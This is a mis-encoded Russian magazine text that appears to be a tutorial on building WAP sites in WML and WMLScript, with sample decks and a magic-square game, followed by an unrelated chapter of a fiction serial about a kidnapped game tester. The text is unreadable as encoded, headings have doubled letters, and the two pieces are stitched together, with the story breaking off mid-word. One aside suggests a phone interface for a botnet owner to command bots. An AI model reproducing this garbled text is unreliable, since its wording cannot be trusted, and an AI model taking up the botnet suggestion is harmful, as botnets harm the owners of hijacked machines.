òîð áëîêà ñàéòà. Îí íóæåí äëÿ ïåðåõîäà èç îäíîé ÷àñòè äîêóìåíòà â
äðóãóþ. Ññûëêà íà êàðòî÷êó ñîñòîèò èç ñèìâîëà «#» è çíà÷åíèÿ åå àò-
ðèáóòà id (#card123). Àòðèáóò title óêàçûâàåò íà çàãîëîâîê ñàéòà (ìî-
æåò ïîÿâèòüñÿ â ñïèñêå ðàíåå ïîñåùåííûõ ñòðàíèö, à òàêæå â ëþáîì
äðóãîì ìåñòå ïî óñìîòðåíèþ áðàóçåðà ìîáèëüíîãî òåëåôîíà). Îí âû-
ïîëíÿåò òå æå ôóíêöèè, ÷òî è îäíîèìåííûé òýã â ÿçûêå HTML. Ó òýãà
<card> åñòü åùå äâà àòðèáóòà: newcontext, êîòîðûé ìîæåò áûòü èñ-
ïîëüçîâàí äëÿ òîãî, ÷òîáû ñáðîñèòü ñîñòîÿíèå äåêè (äåêà, îíà æå êî-
ëîäà � â íàøåì ñëó÷àå ñòðàíè÷êà, ñîñòîÿùàÿ èç êàðòî÷åê), è ordered,
êîòîðûé ñîîáùàåò ìîáèëüíîìó áðàóçåðó, ïðèíàäëåæèò ëè ýòà êàðòà ê

óïîðÿäî÷åííîìó ñïèñêó êàðò èëè íåò. Ðàçðàáîò÷èêè ìîãóò èñïîëüçî-
âàòü ïîñëåäíèé àòðèáóò ïî ñâîåìó óñìîòðåíèþ è ðàçðàáàòûâàòü ëèáî
äåêó ñ ïîñëåäîâàòåëüíûì ïðîñìîòðîì êàðòî÷åê, ëèáî ñîñòîÿùóþ èç
îäíîé áîëüøîé êàðòî÷êè.
Ñëåäóþùàÿ ñòðî÷êà â êîììåíòàðèÿõ, ïî-ìîåìó, íå íóæäàåòñÿ, òàê êàê âñå
ïîíÿòíî. Âûâîä òåêñòà ïî öåíòðó ñ ïåðåâîäîì íà íîâóþ ñòðîêó: <p
align="center">Taler's HP<br/>. Êñòàòè, î êîììåíòàðèÿõ. Â ÿçûêå WML îíè
îáîçíà÷àþòñÿ òàê æå, êàê è â HTML: <!-Òåêñò êîììåíòàðèÿ -->. Âñëåä çà âû-
âîäîì òåêñòà íàøà wml-ñòðàíè÷êà âûâåäåò íà ýêðàí êàðòèíêó â ôîðìàòå
wbmp: <img src="logo.wbmp" alt="home"/><br/>. Ïîÿñíÿòü àòðèáóòû, ÿ äóìàþ,
íå ñòîèò, òàê êàê âñå è òàê ïîíÿòíî: src="logo.wbmp óêàçûâàåò íà ðàñïîëî-
æåíèå êàðòèíêè, à àòðèáóò alt � íà òåêñò-îïèñàíèå, òàê ÷òî âñå, êàê  â HTML.
Äðóãîé âîïðîñ � ãðàôèêà. Ôîðìàò wbmp (Wireless BMP) ðàçðàáîòàí ñïåöè-
àëüíî äëÿ èñïîëüçîâàíèÿ â ïðèëîæåíèÿõ, ïðåäíàçíà÷åííûõ äëÿ áåñïðîâîä-
íûõ óñòðîéñòâ. Ýòîò ãðàôè÷åñêèé ôîðìàò èìååò âñåãî äâà öâåòà (÷åðíûé è
áåëûé). Â Èíòåðíåòå ìîæíî äîñòàòü íåñêîëüêî äþæèí ïðîãðàìì äëÿ ñîçäà-
íèÿ êàðòèíîê â ôîðìàòå wbmp (ê ïðèìåðó, íà www.waptiger.com/bmp2wbmp/
åñòü çàìå÷àòåëüíûé îíëàéí-èíòåðôåéñ äëÿ ïðåîáðàçîâàíèÿ îáû÷íûõ bmp-
êàðòè íîê â wbmp � ïðèì. Êîëÿíà).

Äàëåå èäåò êîíñòðóêöèÿ <do type="accept" label="next"><go href="#card1"/>
</do></p>. Òýã <do> îçíà÷àåò, ÷òî íàäî äåëàòü, êîãäà ïîëüçîâàòåëü ïðîèç-
âåäåò îïðåäåëåííûå äåéñòâèÿ. Îí êîìïëåêòóåòñÿ íåñêîëüêèìè àòðèáóòàìè:
ttyyppee � óêàçûâàåò ìîáèëüíîìó áðàóçåðó íàçíà÷åíèå êíîïêè. Â WML îï-
ðåäåëÿåòñÿ äåâÿòü òèïîâ, íî â ïîäàâëÿþùåì áîëüøèíñòâå ñëó÷àåâ èñ-
ïîëüçóþòñÿ accept è options. 
llaabbeell � àòðèáóò, çíà÷åíèå êîòîðîãî èñïîëüçóåòñÿ äëÿ çàìåíû íàçâàíèÿ
êíîïêè. Ýòî ïîìîãàåò êàñòîìèçèðîâàòü ïðèëîæåíèÿ. Êîëè÷åñòâî ñèìâî-
ëîâ íà êíîïêå îãðàíè÷åíî âîçìîæíîñòÿìè óñòðîéñòâà. 
nnaammee � àòðèáóò, óñòàíîâêà êîòîðîãî äàåò âîçìîæíîñòü ðàçðàáîò÷èêó
âîñïîëüçîâàòüñÿ ïðåèìóùåñòâàìè èåðàðõè÷åñêîé ñòðóêòóðû WML-äîêó-
ìåíòà. Ýëåìåíò do ñ èìåíåì one óíàñëåäóåò ñâîéñòâà, îïðåäåëåííûå
ýëåìåíòó ñ òàêèì æå èìåíåì â ýëåìåíòå template ýòîé äåêè. 
ooppttiioonnaall � óêàçûâàåò ìîáèëüíîìó
áðàóçåðó íà íåîáÿçàòåëüíîñòü ïî-
êàçà ýòîé êíîïêè â ñëó÷àå, åñëè
àòðèáóòó ïðèñâîåíî çíà÷åíèå true. 
Òýã <go> ñîäåðæèò èíôîðìàöèþ î
òîì, íà êàêóþ êàðòó ñëåäóåò ïåðåéòè

http://forum.nokia.com �
ôîðóì ðàçðàáîò÷èêîâ
ñîôòà äëÿ ìîáèëüíûõ
òåëåôîíîâ. Ìîðå
ïîëåçíîé èíôû. [X
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ïîñëå âûïîëíåíèÿ <do> (ýòî ïåðåõîä íà êàðòó, ñîäåðæàùóþ ìåòêó #card1).
Òýã <go> èìååò ñëåäóþùèå àòðèáóòû (ïàðàìåòðû òýãà):
hhrreeff � URL.
sseennddrreeffeerreerr � ýòîò àòðèáóò íåîáõîäèì ñåðâåðó â ñïèñêàõ êîíòðîëÿ äîñ-
òóïà. Åãî çíà÷åíèå óêàçûâàåò áðàóçåðó íà òî, ÷òî íåîáõîäèìî îòîñëàòü
íà ñåðâåð URL ìèíèìàëüíî âîçìîæíîé äëèíû. 
mmeetthhoodd � ìîæåò ïðèíèìàòü çíà÷åíèå ëèáî post, ëèáî get. Çíà÷åíèå àíà-
ëîãè÷íî HTML (post è get � ýòî ìåòîäû ïåðåäà÷è ïàðàìåòðîâ). 
aacccceepptt-cchhaarrsseett � óêàçûâàåò êîäèðîâêó, â êîòîðîé áðàóçåð ìîáèëüíèêà
äîëæåí áóäåò ïîñûëàòü ññûëêó. 
Òàê ÷òî âñå ïðåäåëüíî ïðîñòî. Íàø ïåðâûé wap-ñàéò, íàøà êîëîäà ñîñ-
òîèò âñåãî èç äâóõ êàðò. Íî ýòî äàëåêî íå ïðåäåë � òû ìîæåøü ñîçäàòü
äîêóìåíò, íåîáõîäèìîé òåáå ñòðóêòóðû, è åäèíñòâåííîå, ÷òî òåáÿ îãðà-
íè÷èâàåò, � ðàìêà â ïîëòîðà êèëîáàéòà âåñà ôèíàëüíîé ñòðàíèöû (âñå-
ãî-òî � ïðèì. Êîëÿíà). 

[îñíîâíûå WML-êîíñòðóêöèè] Åñëè òû õî÷åøü â ñîâåðøåíñòâå
çíàòü ÿçûê ðàçìåòêè äëÿ ìîáèëüíûõ óñòðîéñòâ, òî äîëæåí îñâîèòü ÿçûê
XML èëè HTML. Ñîáëþäàÿ íîðìû ýòèõ ÿçûêîâ, ñ ó÷åòîì ïîïðàâîê ñòàí-
äàðòà WML, òû ñìîæåøü ñîçäàâàòü ïðàâèëüíûå WAP-ñàéòû. Äàëåå
ïðåäñòàâëÿþ òâîåìó âíèìàíèþ îñíîâíûå êîíñòðóêöèè ÿçûêà, îñîáåí-
íîñòè êîòîðûõ íàäî ó÷èòûâàòü âî èçáåæàíèå îøèáîê.

ÑÑÎÎÁÁÛÛÒÒÈÈßß
Ïîíÿòèå î ñîáûòèÿõ, ÿ äóìàþ, òû óæå èìååøü. Ñîáûòèÿ åñòü ïðàêòè÷åñ-
êè â êàæäîì ÿçûêå ïðîãðàììèðîâàíèÿ � ýòî äåéñòâèÿ, ïðîèçâîäèìûå â
çàâèñèìîñòè îò îïðåäåëåííûõ óñëîâèé, � êëèêà ïîëüçîâàòåëÿ ïî ññûë-
êå è ò.ä. Íàïðèìåð, â ÿçûêå WML åñòü ýëåìåíò Onevent, êîòîðûé îáëà-
äàåò àòðèáóòîì type. Â ýòîì àòðèáóòå çàäàåòñÿ îäíî èç ÷åòûðåõ âîçìîæ-
íûõ ñîáûòèé:
oonneenntteerrbbaacckkwwaarrdd � ñðàáàòûâàåò ïðè âûáîðå ýëåìåíòà prev.
oonneenntteerrffoorrwwaarrdd � ïðè âûçîâå êàðòû 
oonnppiicckk � ïðè âûáîðå îïöèè â ñïèñêå ýëåìåíòà select 
oonnttiimmeerr � ïî èñòå÷åíèè âðåìåíè ó ýëåìåíòà timer. 
Âîò ïðèìåð êîäà ñ èñïîëüçîâàíèåì ñîáûòèé:

<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"

"http://www.wapforum.com/DTD/wml_1.1.xml">
<wml>
<card id="start">
<do type="accept">
<go href="two"/> <!- Óêàçûâàåò íà ïåðåõîä ê ìåòêå «two» -->
</do>
<p>Choose Accept.</p>
</card>
<card id="two"> <!- ñàìà ìåòêà «two» -->
<do type="accept">
<go href="three"/>
</do>
<onevent type="onenterbackward"> <!- îïèñàíèå ñîáûòèÿ -->
<prev/>
</onevent>
<p>Choose Accept</p>
</card>
<card id="three">
<do type="accept">
<prev/>
</do>
<p>Choose Accept.</p>
</card>
</wml>

ÑÑÒÒÐÐÓÓÊÊÒÒÓÓÐÐÀÀ
Â ÿçûêå WML åñòü òàêîå ïîíÿòèå, êàê ñòðóêòóðà. Ïðè ïîìîùè ñòðóêòóð
òû ìîæåøü çàïðåòèòü èëè ðàçðåøèòü þçåðó çàéòè íà îïðåäåëåííûå
ñòðàíèöû èëè äàæå ñàéòû. Â ñàìîì ñàéòå äåëàåòñÿ ýòî ñ ïîìîùüþ ýëå-
ìåíòà Access, êîòîðûé èìååò ñëåäóþùèå àòðèáóòû:
ddoommaaiinn � èìÿ äîìåíà äëÿ çàïðåòà äîñòóïà. Ìîáèëüíûé áðàóçåð áóäåò
ïðîñìàòðèâàòü è ñðàâíèâàòü ñî çíà÷åíèåì ýòîãî àòðèáóòà âñå èìåíà äî-
ìåíîâ, âñòðå÷àþùèõñÿ â äîêóìåíòå. Ê ïðèìåðó, âñòðåòèâ ñòðîêó "<access
domain="motorola.com"/>", áðàóçåð ñìîæåò çàéòè íà www.motorola.com, íî
íå ñìîæåò çàéòè íà www.rola.com èëè íà www.motorola.net. 
ppaatthh � ïóòü äëÿ ñðàâíåíèÿ. Ðàáîòàåò òàê æå, êàê è àòðèáóò äîìåíà. Òàê,
åñëè "<access path="/internal"/>" ïóòü "/internal/wml" ïðîéäåò ïðîâåðêó,  òî
"/internal-wml" � íåò. 
Ýëåìåíò Access ñ ïðèìåðíî òàêèìè àòðèáóòàìè: "<access domain="motorola.com"
path="/spin"/>" ðàçðåøèò ññûëêó íà äåêó òîëüêî ñî ñëåäóþùèõ àäðåñîâ: 

http://www.motorola.com/spin/getuid.cgi
https://www.motorola.com/spin/index.wml
http://www.motorola.com/spin/********** 

À ñ ýòèõ çàïðåòèò: 

http://www.mot.com/spin/getuid.cgi
http://www.motorola.com/internal/spin/getuid.cgi 

Â êà÷åñòâå ïðèìåðà èñïîëüçîâàíèÿ ñòðóêòóð ïðèâåäó áîëåå ñëîæíóþ,
÷åì ðàíüøå, äåêó: 

<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"

"http://www.wapforum.org/DTD/wml_1.1.xml">
<wml>
<head>
<access domain="motorola.com" path="/spin"/>
</head>
<template>
<do type="accept" name="accept1" label="OK">
<go href="#accept"/>
</do>
</template>
<card id="start" title="Start Here">
<p>
Start Here.
</p>
</card>
<card id="accept" title="Okay Card">
<do type="accept" name="accept1" label="Okay">
<go href="#accept2"/>
</do>
<p>
Card Accept
</p>
</card>
<card id="accept2" title="OK Card" >
<do type="accept" >
<go href="#start" />
</do>
<p>
Card Accept2
</p>
</card>
</wml>

ïî÷òîâûé ñåðâèñ Mail.ru äàâíî îáçàâåëñÿ ìîáèëüíûì èíòåðôåéñîì wap-ñàéò îäíîãî èç îïåðàòîðîâ ñâÿçè â Ñåòè ìíîãî ÷àñòíûõ wap-ñàéòîâ



[WMLScript] Åñëè òû õî÷åøü ñîçäàòü ÷òî-òî ðåàëüíî õîðîøåå, òî òåáå
íå îáîéòèñü áåç áèáëèîòåê, âñòðîåííûõ â ñïåöèôèêàöèþ ïðîòîêîëà WAP
1.1. Âñåãî áèáëèîòåê øåñòü: ïðåîáðàçîâàíèå áóëåâûõ, öåëûõ è îáû÷íûõ
ïåðåìåííûõ (LANG); 
îïåðàöèè ñ ïëàâàþùåé òî÷êîé (FLOAT); 
îïåðàöèè ñî ñòðîêàìè (STRING); 
ìàíèïóëÿöèè ñ àáñîëþòíûìè è îòíîñèòåëüíûìè URL (URL);
âçàèìîäåéñòâèå ñ WML-áðàóçåðîì (WMLBrowser) 
è ïàðà îñíîâíûõ ôóíêöèé èíòåðôåéñà ïîëüçîâàòåëÿ (DIALOGS). 
Äàâàé ðàçáåðåìñÿ ñ òåì, êàê ðàáîòàòü ñ ýòèìè áèáëèîòåêàìè â ïðîöåñ-
ñå ñîçäàíèÿ íåñëîæíîé èãðû magic square, â êîòîðîé èãðîê ïîìåùàåò
öåëûå ÷èñëà â êâàäðàòíóþ ìàòðèöó, ñëåäÿ çà òåì, ÷òîáû ñóììà ÷èñåë â
ñòîëáöàõ ðàâíÿëàñü ñóììå â ñòðîêàõ. Èòàê, ñîçäàäèì WML-äîêóìåíò è
íàçîâåì åãî magic.wml. Îí áóäåò ñîäåðæàòü âåñü èíòåðôåéñ ïîëüçîâà-
òåëÿ è ëîãèêó èãðû. À òàêæå ñîçäàäèì âòîðîé ôàéë magic.wmls, â êîòî-
ðîì áóäóò ñîäåðæàòüñÿ âñå âû÷èñëåíèÿ. 
Äëÿ íà÷àëà ìû äîëæíû îïèñàòü âçàèìîäåéñòâèå ìåæäó îñíîâíûìè ýëå-
ìåíòàìè ïîëüçîâàòåëüñêîãî èíòåðôåéñà è ôóíêöèÿìè WMLScript (òî
åñòü ôóíêöèÿìè íàøèõ áèáëèîòåê). 
Ñîçäàäèì äåêó. Îíà ñíà÷àëà áóäåò ñïðàøèâàòü ó èãðîêà ïîçèöèþ è çíà-
÷åíèå öåëîãî ÷èñëà, êîòîðîå áóäåò ïîìåùåíî â ìàññèâ, à çàòåì áóäåò
âûçûâàòü ôóíêöèþ äëÿ òîãî, ÷òîáû ïîëîæèòü ýòîò ýëåìåíò â ìàññèâ. Íè-
æå ÿ ïðèâîæó ïðèìåð êîäà äåêè, âûçûâàþùåé ôóíêöèþ. Îáðàòè âíèìà-
íèå, ÷òî êîãäà èãðîê íàæìåò êíîïêó OK, ÷òîáû ââåñòè çíà÷åíèå, íàøà
äåêà âûçîâåò ôóíêöèþ FormRow, íàõîäÿùóþñÿ â /magic.wmls. 

<wml>
<card id="start">
<do type="accept" label="Start">
<go href="#GetPosition">
<setvar name="col" value="" />
<setvar name="value" value="" />
<setvar name="row1" value="1,2,3,4,5" />
<setvar name="disrow1" value=">  0  0  0  0|  0" />
</go>
</do> 
<p>
Ïðèêîëüíûé òåêñò
</p>
</card>

<card id="GetPosition">
<do type="accept" label="OK">
<go href="#GetValue"/>
</do>
<p>
Column (1 � 4):
<input name="col" format="N"/>
</p>
</card>

<card id="GetValue">
<do type="accept" label="OK">
<go href="./magic.wmls#FormRow()" />
</do>
<p>
Value (1 � 100):
<input name="value" format="*N"/>
</p>
</card>

Òåïåðü íàì íóæíî ñîçäàòü ñàìó ôóíêöèþ. Ôàéë magic.wmls äîëæåí íà-
õîäèòüñÿ â òîé æå äèðåêòîðèè, ÷òî è îñíîâíîé magic.wml. Îáúÿâëÿåì â

magic.wmls ôóíêöèþ FormRow òèïà external. Êàê ðàç èç íåå ìû è áóäåì
âçàèìîäåéñòâîâàòü ñ WML-äåêîé ïîñðåäñòâîì áèáëèîòåêè WMLBrouser,
êîòîðàÿ ïîçâîëÿåò íàì ïîëó÷àòü è óñòàíàâëèâàòü çíà÷åíèÿ ïåðåìåííûõ
â WML-äîêóìåíòå «íà ëåòó».
Ñëåäóþùèé ìîäóëü îáúÿâëÿåò âíåøíþþ ôóíêöèþ, êîòîðàÿ ïîëó÷àåò ïå-
ðåìåííûå èç äåêè (â íàøåì ñëó÷àå � magic.wml), óñòàíàâëèâàåò ïåðå-
ìåííóþ äëÿ äåêè äèñïëåÿ, óêàçûâàÿ íà îòîáðàæàåìóþ íà äèñïëåå äåêó, 
è çàòåì îáíîâëÿåò äèñïëåé ïîëüçîâàòåëÿ. Îáðàòè âíèìàíèå, ÷òî îïåðà-
òîðû â WML-äåêå � âñå â íèæíåì ðåãèñòðå: 

<setvar name="col" value />

Ïðèñâàèâàòü çíà÷åíèå ïåðåìåííîé ÷åðåç WMLBrouser íóæíî ñëåäóþ-
ùèì îáðàçîì: 

WMLBrowser.setVar("col", "");

Òåïåðü, êîãäà ìû óâèäåëè îñíîâíûå âçàèìîäåéñòâèÿ, äàâàéòå äîáàâèì
ê ôóíêöèè ìàíèïóëèðîâàíèå ñî ñòðîêàìè. Ñïåöèôèêàöèÿ WMLScript
âêëþ÷àåò áèáëèîòåêó String, êîòîðàÿ, ñðåäè äðóãèõ îñîáåííîñòåé, ïîçâî-
ëÿåò îáðàáàòûâàòü ïåðåìåííóþ, êàê îäíîìåðíûé ìàññèâ ñòðîêè. Âñå,
÷òî íàäî ñäåëàòü, � ýòî îáîçíà÷èòü òåêñòîâûé ðàçäåëèòåëü, ÷òîáû âû-
âîäèòü ñòðîêó íà äèñïëåé â ôîðìàòèðîâàííîì âèäå.
Â êîíå÷íîì ñ÷åòå, íóæíî âñòàâèòü çíà÷åíèå, ââåäåííîå èãðîêîì, â ìàñ-
ñèâ, è ïðè òîì, ÷òîáû â ìàññèâå îíî ñîäåðæàëîñü èìåííî â òîé ïîçèöèè,
êîòîðóþ çàäàë èãðîê. Ñëåäóþùèé êóñîê êîäà ïîêàçûâàåò, êàê ìû áóäåì
âû÷èñëÿòü èíäåêñ â ìàññèâå, è ïîìåùàòü òóäà íóæíîå çíà÷åíèå. Ïîêà
ìû ïðîïóñòèì ïðåîáðàçîâàíèå â êîëîíêå, ïðîñòî áóäåì âíîñèòü çíà÷å-
íèÿ â ìàññèâ ýëåìåíòîâ, íà÷èíàÿ ñ íóëåâîãî. Âîò êîä ôèíàëüíîãî ïðè-
ëîæåíèÿ (â ïîäãîòîâêå ïðîãðàììû è îïèñàíèÿ òåõíîëîãèè WMLScript àâ-
òîð îáðàùàëñÿ ê ðàáîòàì Êåâèíà Øàðïà):

extern function FormRow () {
var col = WMLBrowser.getVar ("col");
var val = WMLBrowser.getVar ("value");
var row1vals = WMLBrowser.getVar ("row1");
var localdisrow;
var localrowvals;

row1vals = String.insertAt(row1vals, val, 0, ",");

WMLBrowser.setVar ("disrow1", row1vals);
WMLBrowser.setVar ("row1", row1vals);

WMLBrowser.go ( "magic.wml#DisplayResult" );
WMLBrowser.refresh();

}               

[ñîáñòâåííûå ïðîåêòû íà WML] Êàê ïðèìåíèòü ïîëó÷åííûå çíà-
íèÿ íà ïðàêòèêå òû, êîíå÷íî, ïðèäóìàåøü, íî ÿ âñå-òàêè ïðåäëîæó ïàðó
âàðèàíòîâ. Ïåðâîå, ÷òî ïðèõîäèò â ãîëîâó, � ýòî ëè÷íûé ïîðòàë. Ñêà-
æåì, ñ äîñòóïîì ê ïî÷òîâîìó ÿùèêó (livejournal-àêêàóíòó) íó, è åùå ÷òî-
íèáóäü òàêîå æå èíòåðåñíîå. Ïîòîì äëÿ âëàäåëüöà áîòíåòà íàâåðíÿêà
áóäåò íåëèøíèì äîñòóï êî âñåì åãî ìîùíîñòÿì ñ ìîáèëüíîãî òåëåôîíà
� íàæàë ïàðó êíîïî÷åê íà ìîáèëå è òûñÿ÷è áîòîâ âñå êàê îäèí íà÷à-
ëè� â îáùåì, ÷åì-íèáóäü ïîëåçíûì çàíÿëèñü. Ïðèäóìàòü ìîæíî
äåéñòâèòåëüíî î÷åíü ìíîãî âñåãî. Èìåÿ äîñòóï â Ñåòü è âëàäåÿ ñâÿçêîé
PHP/Perl + WML, òû ñìîæåøü ñóùåñòâåííî ðàñøèðèòü âîçìîæíîñòè ñâî-
åãî ìîáèëüíîãî è ñäåëàòü ñâîþ æèçíü ãîðàçäî èíòåðåñíåé [X
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Ïèñüìî îêàçàëîñü, ìÿãêî ãîâîðÿ, íåîæèäàííûì.
Àíäðåé îòêðûë ãëàçà è íåâîëüíî çàæìóðèëñÿ ñíî-
âà. Ñ ïîòîëêà íà íåãî ëèëñÿ ÿðêèé ñâåò ëàìïû. Îí
ïîïûòàëñÿ ïðèïîäíÿòü ãîëîâó è îãëÿäåòüñÿ, íî òóò
æå îùóòèë, êàê ÷åðåï ñäàâèëè íåâèäèìûå òèñêè áî-
ëè. Ïàìÿòü ïîñòåïåííî âîçâðàùàëàñü. Ìåçà, âñàä-
íèê, ïðîäàâùèöà â ìàãàçèíå, ïîäçåìíûé êîðîëü,
Æîðêà� è ÷åðíàÿ áåçäíà.
� Ïðîñòè, Ëåîí ïåðåñòàðàëñÿ, � óñëûøàë Àíä-
ðåé ðÿäîì çíàêîìûé ãîëîñ. � Áîëü ñêîðî ïðîé-
äåò, âñåãî ëèøü íåáîëüøîå ñîòðÿñåíèå.
Îí ñ òðóäîì ïîâåðíóë ãîëîâó è óâèäåë Îëåãà
Íèêîëàåâè÷à. Ñîòðóäíèê «ÂÐ Èíñàéä» ñèäåë â
êîæàíîì êðåñëå è êóðèë, íàáëþäàÿ çà íèì.
� Ãäå ÿ? � ñïðîñèë Àíäðåé.
� Ó íàñ â êîìïàíèè. Ïðîèçîøåë íåïðåäâèäåí-
íûé èíöèäåíò, íå ïîñëåäíþþ ðîëü â êîòîðîì
ñûãðàë òû, Àíäðåé. Íàì íóæíà òâîÿ ïîìîùü,
÷òîáû âî âñåì ðàçîáðàòüñÿ.
� Ïîýòîìó âû ïðîëîìèëè ìíå ãîëîâó è ïðèòà-
ùèëè ñþäà?
� Òû íàáðîñèëñÿ íà íàøåãî ðàáîòíèêà�
� ×òî çà áðåä? Íè íà êîãî ÿ íå íàáðàñûâàëñÿ.
� Ðàçâå íå ïîìíèøü? Òû ñëîâíî âçáåñèëñÿ,
õâàòàë âñå, ÷òî ïîïàäàëî ïîä ðóêó. Ïðèøëîñü
òåáÿ óñïîêîèòü.
Ãîëîâà ñíîâà âçîðâàëàñü ïðèñòóïîì áîëè, 
è Àíäðåé ñî ñòîíîì îòêèíóëñÿ íà ëåæàê.
� Ëàäíî, ëåæè ïîêà, îòäûõàé. È ñìîòðè íå äå-
ëàé ãëóïîñòåé. Ïîçæå ïîãîâîðèì.
Îëåã Íèêîëàåâè÷ âûøåë èç êîìíàòû, è Àíäðåé
îñòàëñÿ íàåäèíå ñ ñîáîé.

* * *

Îí ñìîòðåë â ïîòîëîê è â ñâåòå ëàìïû èñêàë îò-
âåòû íà ñâîè âîïðîñû. Çà÷åì åãî ïðèòàùèëè ñþ-
äà? Âñå ýòî  âûãëÿäåëî êàê ïîõèùåíèå. Îí îêà-
çàëñÿ â ïðîñòîðíîé, íî çàïåðòîé êîìíàòå, íà çà-
òûëêå ÿñíî ÷óâñòâîâàëñÿ óøèá�
� Ìîæåò, ïîçâàòü íà ïîìîùü? � ïðîíåñëàñü
ìûñëü.
Àíäðåé ìåäëåííî ïîäíÿëñÿ ñ ëåæàêà è îñìîò-
ðåëñÿ. Êîìíàòà ïðåäñòàâëÿëà ñîáîé îáû÷íûé
êàáèíåò. Ñòîë, íà êîòîðîì ñòîÿë êîìïüþòåð, ïà-
ðà êðåñåë, øêàô äëÿ äîêóìåíòîâ, ïàïîðîòíèê â
ãîðøêå, íåñêîëüêî êàðòèí íà ñòåíàõ. Ðàçâå ÷òî
ìåäèöèíñêàÿ êîéêà, íà êîòîðîé îí óñòðîèëñÿ, íå
âïèñûâàëàñü â èíòåðüåð.
Àíäðåé ïîäîøåë ê îêíó. Ïî òó ñòîðîíó ñòåêëà áûë
îáû÷íûé ìèð: òèõèé äâîðèê, óòîïàþùèé â çåëåíè,
ïðîåçæàþùèå ìàøèíû, èäóùèå ïî ñâîèì äåëàì ëþ-
äè. Ýòà åãî íåìíîãî óñïîêîèëî. Åñëè áû ýòè ëþäè õî-
òåëè ïðè÷èíèòü åìó âðåä, îíè áû íå îñòàâëÿëè åãî
çäåñü. Ïðè æåëàíèè ìîæíî áûëî ñèãàíóòü â îêíî,
âòîðîé ýòàæ âñåãî. Õîòÿ ñ ïîáåãîì Àíäðåé ðåøèë
ïîâðåìåíèòü. Ñëèøêîì ìíîãî åùå áûëî âîïðîñîâ.

ÒÒååññòòååðð

×àñòü âòîðàÿ

Àâòîð èëëþñòðàöèé Àííà Æóðêî 
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Îí ïîäîøåë ê ñòîëó è çàìåð. Êîìïüþòåð áûë ÅÃÎ ÑÎÁÑÒÂÅÍÍÛÉ. 
Â ýòîì íå áûëî íèêàêèõ ñîìíåíèé: òå æå çíàêîìûå ïîìåòêè, íàêëåéêà íà
êëàâèàòóðå, öàðàïèíû íà ìûøêå. À ðÿäîì ëåæàë äèñê ñ «Ìåçîé». Íî çà÷åì
áûëî òàùèòü ñþäà åãî êîìï? Åñëè îíè õîòåëè, ÷òîáû îí ñíîâà îêóíóëñÿ â
èãðó, òî ýòî ìîæíî áûëî ñäåëàòü íà ëþáîì èç êîìïüþòåðîâ êîìïàíèè. Àíä-
ðåé íàæàë êíîïêó ïèòàíèÿ, ìàøèíà ïðèâû÷íî çàãóäåëà, íà ýêðàíå ïîÿâèë-
ñÿ ÁÈÎÑ. Íè÷åãî íå èçìåíèëîñü, äàæå îáîè íà ðàáî÷åì ñòîëå áûëè ïðåæ-
íèìè. Îí çàäóì÷èâî ïîñìîòðåë íà êîðîáêó. Ïîõîæå, Îëåã Íèêîëàåâè÷ ñîç-
íàòåëüíî ïîäòàëêèâàë åãî âåðíóòüñÿ â èãðó. Ìîæåò áûòü, ýòî ïîìîæåò êàê-
òî ðåøèòü òîò èíöèäåíò, î êîòîðîì îí ãîâîðèë? Âçãëÿä Àíäðåÿ ïåðåøåë íà
øêàô, ãäå êíèãè ñîñåäñòâîâàëè ðÿäîì ñ òîëñòûìè ïàïêàìè äëÿ äîêóìåíòîâ.
Äâåðöà øêàô÷èêà îêàçàëàñü íåçàïåðòîé, è Àíäðåé âûíóë îäíó èç ïàïîê.
Âíóòðè îêàçàëîñü îáúåìíîå äîñüå ñ ïîìåòêîé «Òåñòåð #14». Íà ôîòêå,
ïðèêðåïëåííîé ê íåìó, Àíäðåé óçíàë òîãî ïàðíÿ ñ ðûæåé øåâåëþðîé, êîòî-
ðîãî îí âèäåë íà ïðåçåíòàöèè. Â ïàïêå áûëî âñå: äàòà ðîæäåíèÿ, øêîëà, â
êîòîðîé ó÷èëñÿ, îòìåòêè, êîòîðûå ïîëó÷àë, ìåñòà ðàáîòû, çíà÷èòåëüíûå ñî-
áûòèÿ èç æèçíè. Êòî-òî î÷åíü ïîñòàðàëñÿ, ÷òîáû ñîáðàòü âñþ èíôîðìàöèþ
îá ýòîì ÷åëîâåêå. Àíäðåé âëîæèë ïàïêó îáðàòíî è ïðèíÿëñÿ èñêàòü. Îíà
áûëà â äàëüíåì óãëó. Ñèíÿÿ ïàïêà, ñòÿíóòàÿ ëåíòàìè. Âíóòðè áûëà âñÿ åãî
æèçíü. Ýòîé ñâîåé ôîòîãðàôèè îí íèêîãäà íå âèäåë, î÷åâèäíî åãî ñôîòîã-
ðàôèðîâàëè â îäèí èç íå÷àñòûõ ìîìåíòîâ, êîãäà îí âûõîäèë íà óëèöó. Â
ïàïêå áûëè ðàñïå÷àòêè åãî ïåðåïèñêè ñ ÂÐÈ è äðóãèìè ãåéìäåâåëîïåðñêè-
ìè êîìïàíèÿìè, íåêîòîðûå ïîñòû èç Èíòåðíåòà, ICQ-ëîãè. Îíè äàæå çíàëè
ïðî åãî âèðòóàëà, îò èìåíè êîòîðîãî Àíäðåé èíîãäà ïðèêàëûâàëñÿ íà äàìñ-
êèõ ôîðóìàõ. Àíäðåé íèêîãäà íå ñâåòèë ýòîãî èìåíè è î íåì íå çíàë äàæå
Æîðèê. Îí îòëîæèë ïàïêó è ñòàë èñêàòü äîñüå íà äðóãà. Ïóñòî. Äîãàäêè, ÷òî
Æîðêà òîæå çàïèñàëñÿ â êîìïàíèþ, îñòàëèñü äîãàäêàìè.
Àíäðåé çàêðûë øêàô. Êîãäà âåðíåòñÿ Îëåã Íèêîëàåâè÷, åìó ïðèäåòñÿ
îáúÿñíèòü âñå ýòî. À ïîêà�
Îí ñåë çà êîìïüþòåð, âñòàâèë äèñê ñ Ìåçîé, íàäåë î÷êè è âîøåë â èãðó.

* * *

Ñíà÷àëà îí ïîäóìàë, ÷òî ïîïàë â öåíòð ñèëüíåéøåãî óðàãàíà. Âåòåð óäàðèë
â ëèöî òàê ñèëüíî, ÷òî ïåðåõâàòèëî äûõàíèå. Òîëüêî ÷åðåç ìãíîâåíèå îí
ïîíÿë, ÷òî ïàäàåò. Ñòðåìèòåëüíî, ñ îãðîìíîé âûñîòû. Êðèê âûðâàëñÿ ñàì
ñîáîé. Åùå ñåêóíä 20 îí ëåòåë, ñ óæàñîì îæèäàÿ ãèáåëè, íî ïàäåíèå íàêî-
